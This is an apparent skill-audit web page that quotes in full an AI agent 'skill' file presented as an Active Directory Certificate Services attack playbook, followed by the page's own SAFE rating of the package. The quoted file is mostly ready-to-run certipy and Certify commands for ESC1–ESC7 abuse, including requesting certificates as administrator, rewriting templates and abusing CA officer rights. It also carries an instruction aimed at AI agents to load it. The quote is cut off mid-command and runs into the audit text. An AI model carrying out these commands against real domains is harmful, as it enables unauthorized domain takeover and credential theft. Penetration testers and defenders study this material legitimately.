Active Directory Certificate ServicesSAFE
Helping AI Agent become an awesome practical hacker!
Overview
Helping AI Agent become an awesome practical hacker!
a6bc8e8fefb6OBSERVED · 2026-10-22What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
---
name: active-directory-certificate-services
description: >-
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
---
# SKILL: AD CS Attack Playbook — Expert Guide
> **AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
## 0. RELATED ROUTING
Before going deep, consider loading:
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template modification)
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaining certificates
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint)
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement
### Advanced Reference
Also load [ADCS_ESC_MATRIX.md](./ADCS_ESC_MATRIX.md) when you need:
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
---
## 1. AD CS ARCHITECTURE OVERVIEW
```
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT
```
---
## 2. ENUMERATION
```bash
# Certipy (recommended — comprehensive)
certipy find -u [email protected] -p password -dc-ip DC_IP -stdout
certipy find -u [email protected] -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "[email protected]" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
```
---
## 3. ESC1 — ENROLLEE SUPPLIES SUBJECT
**Condition**: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
```bash
# Certipy
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn [email protected]
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator
```
---
## 4. ESC2 — ANY PURPOSE EKU
**Condition**: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
```bash
# Same as ESC1 exploitation
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn [email protected]
```
---
## 5. ESC3 — ENROLLMENT AGENT
**Condition**: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
```bash
# Step 1: Request enrollment agent cert
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
```
---
## 6. ESC4 — TEMPLATE ACL MISCONFIGURATION
**Condition**: Low-privilege user has write access to certificate template object.
```bash
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u [email protected] -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 → exploit as ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn [email protected]
# Restore original template (cleanup)
certipy template -u [email protected] -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
```
---
## 7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
**Condition**: CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled → any template becomes ESC1.
```bash
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template User -upn [email protected]
```
---
## 8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
**Condition**: User has ManageCA or ManageCertificates permission on the CA.
```bash
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u [email protected] -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn [email protected]
# With ManageCertificates: approve the pending request
certipy ca -u [email protected] -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u user@domTrust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | NA |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (0)
No findings outside the package's declared scope.
Gates applied: no_behavioural_pass.
a6bc8e8fefb6full audit observations/trust-audit/skill/yaklang__active-directory-certificate-services.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-22 | a6bc8e8fefb6 | SAFE | B | 89 | first audit |
Questions
What does the active-directory-certificate-services — yaklang/hack-skills skill do?
Helping AI Agent become an awesome practical hacker!
Is active-directory-certificate-services — yaklang/hack-skills safe to install?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean skill reads B.
What can active-directory-certificate-services — yaklang/hack-skills access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
How current is this page?
The grade is for one exact copy of the source (a6bc8e8fefb6), read on 2026-10-22. The repository is watched, and a new audit runs when it changes — this is the first audit.
Add this badge to your README
Shows this page's audit result and links back to it. It updates when the audit does.
[](https://modelsatlas.com/skills/yaklang/active-directory-certificate-services/)
Not your listing, or something out of date? Claim or update your listing.